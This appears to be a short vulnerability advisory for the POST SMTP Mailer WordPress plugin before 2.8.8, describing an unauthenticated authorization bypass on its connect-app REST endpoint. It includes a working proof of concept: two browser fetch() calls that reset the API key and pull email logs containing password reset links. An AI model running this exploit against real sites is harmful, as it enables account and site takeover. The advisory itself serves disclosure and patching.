POST SMTP Mailer < 2.8.8 - Authorization Bypass via type connect-app API

Description The plugin is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7. This makes it possible for unauthenticated attackers to reset the API key used to authenticate to the mailer and view logs, including password reset emails, allowing site takeover.

PoC

In an unauthenticated browser window on the site frontend, run the following code to authenticate: await (await fetch( ‘/wp-json/post-smtp/v1/connect-app’, { method: ‘POST’, headers: { ‘fcm-token’: ‘mytoken’, ‘device’: ‘mydevice’ } } ) ).text(); Then the email logs can be obtained using the following code: await (await fetch( ‘/wp-json/post-smtp/v1/get-logs’, { method: ‘GET’, headers: { ‘fcm-token’: ‘mytoken’ } } ) ).text();